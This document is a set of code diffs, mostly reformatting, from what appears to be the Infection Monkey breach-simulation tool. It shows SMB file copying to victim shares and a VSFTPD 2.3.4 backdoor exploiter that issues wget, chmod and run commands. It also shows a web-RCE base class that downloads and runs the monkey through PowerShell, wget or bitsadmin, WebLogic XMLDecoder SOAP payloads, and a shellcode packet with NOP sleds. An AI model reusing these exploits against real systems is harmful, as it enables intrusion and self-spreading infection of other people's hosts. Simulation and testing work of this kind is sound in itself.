pld2 = LimitedSizePayload(test_str2, max_length=16, prefix="prefix", suffix="suffix")
array2 = pld2.split_into_array_of_smaller_payloads()
test2 = bool(
array2[0] == "prefix1234suffix" and array2[1] == "prefix5678suffix" and len(array2) == 2
array2[0] == "prefix1234suffix" and array2[1] == "prefix5678suffix" and len(
array2) == 2
)
assert test1 and test2

View File

@ -21,14 +21,14 @@ LOG = logging.getLogger(__name__)
class SmbTools(object):
@staticmethod
def copy_file(
host, src_path, dst_path, username, password, lm_hash="", ntlm_hash="", timeout=60
host, src_path, dst_path, username, password, lm_hash="", ntlm_hash="", timeout=60
):
assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
config = infection_monkey.config.WormConfiguration
src_file_size = monkeyfs.getsize(src_path)
smb, dialect = SmbTools.new_smb_connection(
host, username, password, lm_hash, ntlm_hash, timeout
host, username, password, lm_hash, ntlm_hash, timeout
)
if not smb:
return None
@ -36,13 +36,14 @@ class SmbTools(object):
# skip guest users
if smb.isGuestSession() > 0:
LOG.debug(
"Connection to %r granted guest privileges with user: %s, password (SHA-512): '%s',"
" LM hash (SHA-512): %s, NTLM hash (SHA-512): %s",
host,
username,
Configuration.hash_sensitive_data(password),
Configuration.hash_sensitive_data(lm_hash),
Configuration.hash_sensitive_data(ntlm_hash),
"Connection to %r granted guest privileges with user: %s, password (SHA-512): "
"'%s',"
" LM hash (SHA-512): %s, NTLM hash (SHA-512): %s",
host,
username,
Configuration.hash_sensitive_data(password),
Configuration.hash_sensitive_data(lm_hash),
Configuration.hash_sensitive_data(ntlm_hash),
)
try:
@ -59,12 +60,12 @@ class SmbTools(object):
return None
info = {
"major_version": resp["InfoStruct"]["ServerInfo102"]["sv102_version_major"],
"minor_version": resp["InfoStruct"]["ServerInfo102"]["sv102_version_minor"],
"server_name": resp["InfoStruct"]["ServerInfo102"]["sv102_name"].strip("\0 "),
"server_comment": resp["InfoStruct"]["ServerInfo102"]["sv102_comment"].strip("\0 "),
"server_user_path": resp["InfoStruct"]["ServerInfo102"]["sv102_userpath"].strip("\0 "),
"simultaneous_users": resp["InfoStruct"]["ServerInfo102"]["sv102_users"],
"major_version":resp["InfoStruct"]["ServerInfo102"]["sv102_version_major"],
"minor_version":resp["InfoStruct"]["ServerInfo102"]["sv102_version_minor"],
"server_name":resp["InfoStruct"]["ServerInfo102"]["sv102_name"].strip("\0 "),
"server_comment":resp["InfoStruct"]["ServerInfo102"]["sv102_comment"].strip("\0 "),
"server_user_path":resp["InfoStruct"]["ServerInfo102"]["sv102_userpath"].strip("\0 "),
"simultaneous_users":resp["InfoStruct"]["ServerInfo102"]["sv102_users"],
}
LOG.debug("Connected to %r using %s:\n%s", host, dialect, pprint.pformat(info))
@ -89,23 +90,23 @@ class SmbTools(object):
if current_uses >= max_uses:
LOG.debug(
"Skipping share '%s' on victim %r because max uses is exceeded",
share_name,
host,
"Skipping share '%s' on victim %r because max uses is exceeded",
share_name,
host,
)
continue
elif not share_path:
LOG.debug(
"Skipping share '%s' on victim %r because share path is invalid",
share_name,
host,
"Skipping share '%s' on victim %r because share path is invalid",
share_name,
host,
)
continue
share_info = {"share_name": share_name, "share_path": share_path}
share_info = {"share_name":share_name, "share_path":share_path}
if dst_path.lower().startswith(share_path.lower()):
high_priority_shares += ((ntpath.sep + dst_path[len(share_path) :], share_info),)
high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info),)
low_priority_shares += ((ntpath.sep + file_name, share_info),)
@ -118,7 +119,7 @@ class SmbTools(object):
if not smb:
smb, _ = SmbTools.new_smb_connection(
host, username, password, lm_hash, ntlm_hash, timeout
host, username, password, lm_hash, ntlm_hash, timeout
)
if not smb:
return None
@ -127,16 +128,17 @@ class SmbTools(object):
smb.connectTree(share_name)
except Exception as exc:
LOG.debug(
"Error connecting tree to share '%s' on victim %r: %s", share_name, host, exc
"Error connecting tree to share '%s' on victim %r: %s", share_name, host,
exc
)
continue
LOG.debug(
"Trying to copy monkey file to share '%s' [%s + %s] on victim %r",
share_name,
share_path,
remote_path,
host.ip_addr[0],
"Trying to copy monkey file to share '%s' [%s + %s] on victim %r",
share_name,
share_path,
remote_path,
host.ip_addr[0],
)
remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep))
@ -151,7 +153,8 @@ class SmbTools(object):
return remote_full_path
LOG.debug(
"Remote monkey file is found but different, moving along with attack"
"Remote monkey file is found but different, moving along with "
"attack"
)
except Exception:
pass # file isn't found on remote victim, moving on
@ -164,26 +167,28 @@ class SmbTools(object):
file_uploaded = True
T1105Telem(
ScanStatus.USED, get_interface_to_target(host.ip_addr), host.ip_addr, dst_path
ScanStatus.USED, get_interface_to_target(host.ip_addr), host.ip_addr,
dst_path
).send()
LOG.info(
"Copied monkey file '%s' to remote share '%s' [%s] on victim %r",
src_path,
share_name,
share_path,
host,
"Copied monkey file '%s' to remote share '%s' [%s] on victim %r",
src_path,
share_name,
share_path,
host,
)
break
except Exception as exc:
LOG.debug(
"Error uploading monkey to share '%s' on victim %r: %s", share_name, host, exc
"Error uploading monkey to share '%s' on victim %r: %s", share_name, host,
exc
)
T1105Telem(
ScanStatus.SCANNED,
get_interface_to_target(host.ip_addr),
host.ip_addr,
dst_path,
ScanStatus.SCANNED,
get_interface_to_target(host.ip_addr),
host.ip_addr,
dst_path,
).send()
continue
finally:
@ -196,13 +201,14 @@ class SmbTools(object):
if not file_uploaded:
LOG.debug(
"Couldn't find a writable share for exploiting victim %r with "
"username: %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash (SHA-512): %s",
host,
username,
Configuration.hash_sensitive_data(password),
Configuration.hash_sensitive_data(lm_hash),
Configuration.hash_sensitive_data(ntlm_hash),
"Couldn't find a writable share for exploiting victim %r with "
"username: %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash ("
"SHA-512): %s",
host,
username,
Configuration.hash_sensitive_data(password),
Configuration.hash_sensitive_data(lm_hash),
Configuration.hash_sensitive_data(ntlm_hash),
)
return None
@ -222,9 +228,9 @@ class SmbTools(object):
return None, None
dialect = {
SMB_DIALECT: "SMBv1",
SMB2_DIALECT_002: "SMBv2.0",
SMB2_DIALECT_21: "SMBv2.1",
SMB_DIALECT:"SMBv1",
SMB2_DIALECT_002:"SMBv2.0",
SMB2_DIALECT_21:"SMBv2.1",
}.get(smb.getDialect(), "SMBv3.0")
# we know this should work because the WMI connection worked
@ -232,14 +238,14 @@ class SmbTools(object):
smb.login(username, password, "", lm_hash, ntlm_hash)
except Exception as exc:
LOG.debug(
"Error while logging into %r using user: %s, password (SHA-512): '%s', "
"LM hash (SHA-512): %s, NTLM hash (SHA-512): %s: %s",
host,
username,
Configuration.hash_sensitive_data(password),
Configuration.hash_sensitive_data(lm_hash),
Configuration.hash_sensitive_data(ntlm_hash),
exc,
"Error while logging into %r using user: %s, password (SHA-512): '%s', "
"LM hash (SHA-512): %s, NTLM hash (SHA-512): %s: %s",
host,
username,
Configuration.hash_sensitive_data(password),
Configuration.hash_sensitive_data(lm_hash),
Configuration.hash_sensitive_data(ntlm_hash),
exc,
)
return None, dialect
@ -258,7 +264,7 @@ class SmbTools(object):
@staticmethod
def get_dce_bind(smb):
rpctransport = transport.SMBTransport(
smb.getRemoteHost(), smb.getRemoteHost(), filename=r"\srvsvc", smb_connection=smb
smb.getRemoteHost(), smb.getRemoteHost(), filename=r"\srvsvc", smb_connection=smb
)
dce = rpctransport.get_dce_rpc()
dce.connect()

View File

@ -7,12 +7,12 @@ class TestHelpers(unittest.TestCase):
def test_build_monkey_commandline_explicitly(self):
test1 = " -p 101010 -t 10.10.101.10 -s 127.127.127.127:5000 -d 0 -l C:\\windows\\abc -vp 80"
result1 = build_monkey_commandline_explicitly(
101010, "10.10.101.10", "127.127.127.127:5000", 0, "C:\\windows\\abc", 80
101010, "10.10.101.10", "127.127.127.127:5000", 0, "C:\\windows\\abc", 80
)
test2 = " -p parent -s 127.127.127.127:5000 -d 0 -vp 80"
result2 = build_monkey_commandline_explicitly(
parent="parent", server="127.127.127.127:5000", depth="0", vulnerable_port="80"
parent="parent", server="127.127.127.127:5000", depth="0", vulnerable_port="80"
)
self.assertEqual(test1, result1)

View File

@ -17,8 +17,8 @@ class DceRpcException(Exception):
class AccessDeniedException(Exception):
def __init__(self, host, username, password, domain):
super(AccessDeniedException, self).__init__(
"Access is denied to %r with username %s\\%s and password %r"
% (host, domain, username, password)
"Access is denied to %r with username %s\\%s and password %r"
% (host, domain, username, password)
)
@ -37,18 +37,18 @@ class WmiTools(object):
domain = host.ip_addr
dcom = DCOMConnection(
host.ip_addr,
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash,
oxidResolver=True,
host.ip_addr,
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash,
oxidResolver=True,
)
try:
iInterface = dcom.CoCreateInstanceEx(
wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login
wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login
)
except Exception as exc:
dcom.disconnect()

View File

@ -1,6 +1,7 @@
"""
Implementation is based on VSFTPD v2.3.4 Backdoor Command Execution exploit by metasploit
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp
/vsftpd_234_backdoor.rb
only vulnerable version is "2.3.4"
"""
@ -121,7 +122,7 @@ class VSFTPDExploiter(HostExploiter):
# Upload the monkey to the machine
monkey_path = dropper_target_path_linux
download_command = WGET_HTTP_UPLOAD % {"monkey_path": monkey_path, "http_path": http_path}
download_command = WGET_HTTP_UPLOAD % {"monkey_path":monkey_path, "http_path":http_path}
download_command = str.encode(str(download_command) + "\n")
LOG.info("Download command is %s", download_command)
if self.socket_send(backdoor_socket, download_command):
@ -134,7 +135,7 @@ class VSFTPDExploiter(HostExploiter):
http_thread.stop()
# Change permissions
change_permission = CHMOD_MONKEY % {"monkey_path": monkey_path}
change_permission = CHMOD_MONKEY % {"monkey_path":monkey_path}
change_permission = str.encode(str(change_permission) + "\n")
LOG.info("change_permission command is %s", change_permission)
backdoor_socket.send(change_permission)
@ -142,25 +143,26 @@ class VSFTPDExploiter(HostExploiter):
# Run monkey on the machine
parameters = build_monkey_commandline(
self.host, get_monkey_depth() - 1, vulnerable_port=FTP_PORT
self.host, get_monkey_depth() - 1, vulnerable_port=FTP_PORT
)
run_monkey = RUN_MONKEY % {
"monkey_path": monkey_path,
"monkey_type": MONKEY_ARG,
"parameters": parameters,
"monkey_path":monkey_path,
"monkey_type":MONKEY_ARG,
"parameters":parameters,
}
# Set unlimited to memory
# we don't have to revert the ulimit because it just applies to the shell obtained by our exploit
# we don't have to revert the ulimit because it just applies to the shell obtained by our
# exploit
run_monkey = ULIMIT_V + UNLIMITED + run_monkey
run_monkey = str.encode(str(run_monkey) + "\n")
time.sleep(FTP_TIME_BUFFER)
if backdoor_socket.send(run_monkey):
LOG.info(
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
self._config.dropper_target_path_linux,
self.host,
run_monkey,
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
self._config.dropper_target_path_linux,
self.host,
run_monkey,
)
self.add_executed_cmd(run_monkey.decode())
return True

View File

@ -52,9 +52,9 @@ class WebRCE(HostExploiter):
self.monkey_target_paths = monkey_target_paths
else:
self.monkey_target_paths = {
"linux": self._config.dropper_target_path_linux,
"win32": self._config.dropper_target_path_win_32,
"win64": self._config.dropper_target_path_win_64,
"linux":self._config.dropper_target_path_linux,
"win32":self._config.dropper_target_path_win_32,
"win64":self._config.dropper_target_path_win_64,
}
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
self.skip_exist = self._config.skip_exploit_if_file_exist
@ -69,21 +69,27 @@ class WebRCE(HostExploiter):
"""
exploit_config = {}
# dropper: If true monkey will use dropper parameter that will detach monkey's process and try to copy
# dropper: If true monkey will use dropper parameter that will detach monkey's process
# and try to copy
# it's file to the default destination path.
exploit_config["dropper"] = False
# upload_commands: Unformatted dict with one or two commands {'linux': WGET_HTTP_UPLOAD,'windows': WIN_CMD}
# Command must have "monkey_path" and "http_path" format parameters. If None defaults will be used.
# upload_commands: Unformatted dict with one or two commands {'linux': WGET_HTTP_UPLOAD,
# 'windows': WIN_CMD}
# Command must have "monkey_path" and "http_path" format parameters. If None defaults
# will be used.
exploit_config["upload_commands"] = None
# url_extensions: What subdirectories to scan (www.domain.com[/extension]). Eg. ["home", "index.php"]
# url_extensions: What subdirectories to scan (www.domain.com[/extension]). Eg. ["home",
# "index.php"]
exploit_config["url_extensions"] = []
# stop_checking_urls: If true it will stop checking vulnerable urls once one was found vulnerable.
# stop_checking_urls: If true it will stop checking vulnerable urls once one was found
# vulnerable.
exploit_config["stop_checking_urls"] = False
# blind_exploit: If true we won't check if file exist and won't try to get the architecture of target.
# blind_exploit: If true we won't check if file exist and won't try to get the
# architecture of target.
exploit_config["blind_exploit"] = False
return exploit_config
@ -111,12 +117,12 @@ class WebRCE(HostExploiter):
# Skip if monkey already exists and this option is given
if (
not exploit_config["blind_exploit"]
and self.skip_exist
and self.check_remote_files(self.target_url)
not exploit_config["blind_exploit"]
and self.skip_exist
and self.check_remote_files(self.target_url)
):
LOG.info(
"Host %s was already infected under the current configuration, done" % self.host
"Host %s was already infected under the current configuration, done" % self.host
)
return True
@ -136,10 +142,10 @@ class WebRCE(HostExploiter):
# Execute remote monkey
if (
self.execute_remote_monkey(
self.get_target_url(), data["path"], exploit_config["dropper"]
)
is False
self.execute_remote_monkey(
self.get_target_url(), data["path"], exploit_config["dropper"]
)
is False
):
return False
@ -163,15 +169,15 @@ class WebRCE(HostExploiter):
"""
candidate_services = {}
candidate_services.update(
{
service: self.host.services[service]
for service in self.host.services
if (
self.host.services[service]
and "name" in self.host.services[service]
and self.host.services[service]["name"] in names
{
service:self.host.services[service]
for service in self.host.services
if (
self.host.services[service]
and "name" in self.host.services[service]
and self.host.services[service]["name"] in names
)
}
}
)
valid_ports = [
@ -196,11 +202,12 @@ class WebRCE(HostExploiter):
else:
command = commands["windows"]
# Format command
command = command % {"monkey_path": path, "http_path": http_path}
command = command % {"monkey_path":path, "http_path":http_path}
except KeyError:
LOG.error(
"Provided command is missing/bad for this type of host! "
"Check upload_monkey function docs before using custom monkey's upload commands."
"Provided command is missing/bad for this type of host! "
"Check upload_monkey function docs before using custom monkey's upload "
"commands."
)
return False
return command
@ -225,8 +232,10 @@ class WebRCE(HostExploiter):
def build_potential_urls(self, ports, extensions=None):
"""
Build all possibly-vulnerable URLs on a specific host, based on the relevant ports and extensions.
:param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)]
Build all possibly-vulnerable URLs on a specific host, based on the relevant ports and
extensions.
:param ports: Array of ports. One port is described as size 2 array: [port.no(int),
isHTTPS?(bool)]
Eg. ports: [[80, False], [443, True]]
:param extensions: What subdirectories to scan. www.domain.com[/extension]
:return: Array of url's to try and attack
@ -243,7 +252,7 @@ class WebRCE(HostExploiter):
else:
protocol = "http"
url_list.append(
join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension)
join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension)
)
if not url_list:
LOG.info("No attack url's were built")
@ -253,7 +262,8 @@ class WebRCE(HostExploiter):
"""
Gets vulnerable url(s) from url list
:param urls: Potentially vulnerable urls
:param stop_checking: If we want to continue checking for vulnerable url even though one is found (bool)
:param stop_checking: If we want to continue checking for vulnerable url even though one
is found (bool)
:return: None (we append to class variable vulnerable_urls)
"""
for url in urls:
@ -304,8 +314,8 @@ class WebRCE(HostExploiter):
return False
else:
LOG.info(
"Host %s was already infected under the current configuration, done"
% str(self.host)
"Host %s was already infected under the current configuration, done"
% str(self.host)
)
return True
@ -330,7 +340,8 @@ class WebRCE(HostExploiter):
Get ports wrapped with log
:param ports: Potential ports to exploit. For example WormConfiguration.HTTP_PORTS
:param names: [] of service names. Example: ["http"]
:return: Array of ports: [[80, False], [443, True]] or False. Port always consists of [ port.nr, IsHTTPS?]
:return: Array of ports: [[80, False], [443, True]] or False. Port always consists of [
port.nr, IsHTTPS?]
"""
ports = self.get_open_service_ports(ports, names)
if not ports:
@ -350,7 +361,8 @@ class WebRCE(HostExploiter):
def run_backup_commands(self, resp, url, dest_path, http_path):
"""
If you need multiple commands for the same os you can override this method to add backup commands
If you need multiple commands for the same os you can override this method to add backup
commands
:param resp: Response from base command
:param url: Vulnerable url
:param dest_path: Where to upload monkey
@ -360,8 +372,8 @@ class WebRCE(HostExploiter):
if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp:
LOG.info("Powershell not found in host. Using bitsadmin to download.")
backup_command = BITSADMIN_CMDLINE_HTTP % {
"monkey_path": dest_path,
"http_path": http_path,
"monkey_path":dest_path,
"http_path":http_path,
}
T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send()
resp = self.exploit(url, backup_command)
@ -370,7 +382,8 @@ class WebRCE(HostExploiter):
def upload_monkey(self, url, commands=None):
"""
:param url: Where exploiter should send it's request
:param commands: Unformatted dict with one or two commands {'linux': LIN_CMD, 'windows': WIN_CMD}
:param commands: Unformatted dict with one or two commands {'linux': LIN_CMD, 'windows':
WIN_CMD}
Command must have "monkey_path" and "http_path" format parameters.
:return: {'response': response/False, 'path': monkeys_path_in_host}
"""
@ -389,7 +402,7 @@ class WebRCE(HostExploiter):
LOG.info("Started http server on %s", http_path)
# Choose command:
if not commands:
commands = {"windows": POWERSHELL_HTTP_UPLOAD, "linux": WGET_HTTP_UPLOAD}
commands = {"windows":POWERSHELL_HTTP_UPLOAD, "linux":WGET_HTTP_UPLOAD}
command = self.get_command(paths["dest_path"], http_path, commands)
resp = self.exploit(url, command)
self.add_executed_cmd(command)
@ -402,7 +415,7 @@ class WebRCE(HostExploiter):
if resp is False:
return resp
else:
return {"response": resp, "path": paths["dest_path"]}
return {"response":resp, "path":paths["dest_path"]}
def change_permissions(self, url, path, command=None):
"""
@ -417,7 +430,7 @@ class WebRCE(HostExploiter):
LOG.info("Permission change not required for windows")
return True
if not command:
command = CHMOD_MONKEY % {"monkey_path": path}
command = CHMOD_MONKEY % {"monkey_path":path}
try:
resp = self.exploit(url, command)
T1222Telem(ScanStatus.USED, command, self.host).send()
@ -435,7 +448,8 @@ class WebRCE(HostExploiter):
return False
elif "No such file or directory" in resp:
LOG.error(
"Could not change permission because monkey was not found. Check path parameter."
"Could not change permission because monkey was not found. Check path "
"parameter."
)
return False
LOG.info("Permission change finished")
@ -457,21 +471,21 @@ class WebRCE(HostExploiter):
if default_path is False:
return False
monkey_cmd = build_monkey_commandline(
self.host, get_monkey_depth() - 1, self.vulnerable_port, default_path
self.host, get_monkey_depth() - 1, self.vulnerable_port, default_path
)
command = RUN_MONKEY % {
"monkey_path": path,
"monkey_type": DROPPER_ARG,
"parameters": monkey_cmd,
"monkey_path":path,
"monkey_type":DROPPER_ARG,
"parameters":monkey_cmd,
}
else:
monkey_cmd = build_monkey_commandline(
self.host, get_monkey_depth() - 1, self.vulnerable_port
self.host, get_monkey_depth() - 1, self.vulnerable_port
)
command = RUN_MONKEY % {
"monkey_path": path,
"monkey_type": MONKEY_ARG,
"parameters": monkey_cmd,
"monkey_path":path,
"monkey_type":MONKEY_ARG,
"parameters":monkey_cmd,
}
try:
LOG.info("Trying to execute monkey using command: {}".format(command))
@ -499,12 +513,13 @@ class WebRCE(HostExploiter):
def get_monkey_upload_path(self, url_to_monkey):
"""
Gets destination path from one of WEB_RCE predetermined paths(self.monkey_target_paths).
:param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
:param url_to_monkey: Hosted monkey's url. egz :
http://localserver:9999/monkey/windows-32.exe
:return: Corresponding monkey path from self.monkey_target_paths
"""
if not url_to_monkey or ("linux" not in url_to_monkey and "windows" not in url_to_monkey):
LOG.error(
"Can't get destination path because source path %s is invalid.", url_to_monkey
"Can't get destination path because source path %s is invalid.", url_to_monkey
)
return False
try:
@ -516,14 +531,15 @@ class WebRCE(HostExploiter):
return self.monkey_target_paths["win64"]
else:
LOG.error(
"Could not figure out what type of monkey server was trying to upload, "
"thus destination path can not be chosen."
"Could not figure out what type of monkey server was trying to upload, "
"thus destination path can not be chosen."
)
return False
except KeyError:
LOG.error(
'Unknown key was found. Please use "linux", "win32" and "win64" keys to initialize '
"custom dict of monkey's destination paths"
'Unknown key was found. Please use "linux", "win32" and "win64" keys to '
"initialize "
"custom dict of monkey's destination paths"
)
return False
@ -540,7 +556,7 @@ class WebRCE(HostExploiter):
dest_path = self.get_monkey_upload_path(src_path)
if not dest_path:
return False
return {"src_path": src_path, "dest_path": dest_path}
return {"src_path":src_path, "dest_path":dest_path}
def get_default_dropper_path(self):
"""
@ -549,7 +565,7 @@ class WebRCE(HostExploiter):
E.g. config.dropper_target_path_linux(/tmp/monkey.sh) for linux host
"""
if not self.host.os.get("type") or (
self.host.os["type"] != "linux" and self.host.os["type"] != "windows"
self.host.os["type"] != "linux" and self.host.os["type"] != "windows"
):
LOG.error("Target's OS was either unidentified or not supported. Aborting")
return False
@ -577,8 +593,10 @@ class WebRCE(HostExploiter):
def are_vulnerable_urls_sufficient(self):
"""
Determine whether the number of vulnerable URLs is sufficient in order to perform the full attack.
Often, a single URL will suffice. However, in some cases (e.g. the Drupal exploit) a vulnerable URL is for
Determine whether the number of vulnerable URLs is sufficient in order to perform the
full attack.
Often, a single URL will suffice. However, in some cases (e.g. the Drupal exploit) a
vulnerable URL is for
single use, thus we need a couple of them.
:return: Whether or not a full attack can be performed using the available vulnerable URLs.
"""

View File

@ -24,9 +24,9 @@ REQUEST_TIMEOUT = 5
EXECUTION_TIMEOUT = 15
# Malicious requests' headers:
HEADERS = {
"Content-Type": "text/xml;charset=UTF-8",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) "
"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36",
"Content-Type":"text/xml;charset=UTF-8",
"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) "
"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36",
}
@ -65,7 +65,7 @@ class WebLogic201710271(WebRCE):
def __init__(self, host):
super(WebLogic201710271, self).__init__(
host, {"linux": "/tmp/monkey.sh", "win32": "monkey32.exe", "win64": "monkey64.exe"}
host, {"linux":"/tmp/monkey.sh", "win32":"monkey32.exe", "win64":"monkey64.exe"}
)
def get_exploit_config(self):
@ -78,13 +78,13 @@ class WebLogic201710271(WebRCE):
def exploit(self, url, command):
if "linux" in self.host.os["type"]:
payload = self.get_exploit_payload(
"/bin/sh", "-c", command + " 1> /dev/null 2> /dev/null"
"/bin/sh", "-c", command + " 1> /dev/null 2> /dev/null"
)
else:
payload = self.get_exploit_payload("cmd", "/c", command + " 1> NUL 2> NUL")
try:
post(
url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False
url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False
) # noqa: DUO123
except Exception as e:
LOG.error("Connection error: %s" % e)
@ -122,7 +122,7 @@ class WebLogic201710271(WebRCE):
payload = self.get_test_payload(ip=httpd.local_ip, port=httpd.local_port)
try:
post(
url, data=payload, headers=HEADERS, timeout=REQUEST_DELAY, verify=False
url, data=payload, headers=HEADERS, timeout=REQUEST_DELAY, verify=False
) # noqa: DUO123
except exceptions.ReadTimeout:
# Our request will not get response thus we get ReadTimeout error
@ -160,7 +160,8 @@ class WebLogic201710271(WebRCE):
:param command: command itself
:return: Formatted payload
"""
empty_payload = """<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
empty_payload = """<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
@ -195,7 +196,8 @@ class WebLogic201710271(WebRCE):
:param port: Server's port
:return: Formatted payload
"""
generic_check_payload = """<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
generic_check_payload = """<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8" class="java.beans.XMLDecoder">
@ -272,7 +274,8 @@ class WebLogic20192725(WebRCE):
return exploit_config
def execute_remote_monkey(self, url, path, dropper=False):
# Without delay exploiter tries to launch monkey file that is still finishing up after downloading.
# Without delay exploiter tries to launch monkey file that is still finishing up after
# downloading.
time.sleep(WebLogic20192725.DELAY_BEFORE_EXPLOITING_SECONDS)
super(WebLogic20192725, self).execute_remote_monkey(url, path, dropper)
@ -289,7 +292,7 @@ class WebLogic20192725(WebRCE):
return False
def check_if_exploitable(self, url):
headers = copy.deepcopy(HEADERS).update({"SOAPAction": ""})
headers = copy.deepcopy(HEADERS).update({"SOAPAction":""})
res = post(url, headers=headers, timeout=EXECUTION_TIMEOUT)
if res.status_code == 500 and "<faultcode>env:Client</faultcode>" in res.text:
return True
@ -307,7 +310,8 @@ class WebLogic20192725(WebRCE):
"""
empty_payload = """
<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"
xmlns:wsa=\"http://www.w3.org/2005/08/addressing\" xmlns:asy=\"http://www.bea.com/async/AsyncResponseService\">
xmlns:wsa=\"http://www.w3.org/2005/08/addressing\"
xmlns:asy=\"http://www.bea.com/async/AsyncResponseService\">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>

View File

@ -63,22 +63,22 @@ OBFUSCATED_SHELLCODE = (
SHELLCODE = clarify(OBFUSCATED_SHELLCODE).decode()
XP_PACKET = (
"\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43"
"\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00\x36\x01\x00\x00\x00\x00\x00\x00\x36\x01"
"\x00\x00\x5c\x00\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47"
"\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48"
"\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49"
"\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90" + SHELLCODE + "\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00"
"\x2e\x00\x5c\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x08\x04\x02"
"\x00\xc2\x17\x89\x6f\x41\x41\x41\x41\x07\xf8\x88\x6f\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x90\x90\x90\x90\x90\x90\x90\x90"
"\xeb\x62\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\xe8\x03\x00\x00\x02\x00\x00"
"\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00\x01\x10\x00\x00\x00\x00\x00\x00"
"\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43"
"\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00\x36\x01\x00\x00\x00\x00\x00\x00\x36\x01"
"\x00\x00\x5c\x00\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47"
"\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48"
"\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49"
"\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90" + SHELLCODE + "\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00"
"\x2e\x00\x5c\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x08\x04\x02"
"\x00\xc2\x17\x89\x6f\x41\x41\x41\x41\x07\xf8\x88\x6f\x41\x41\x41\x41\x41\x41\x41\x41"
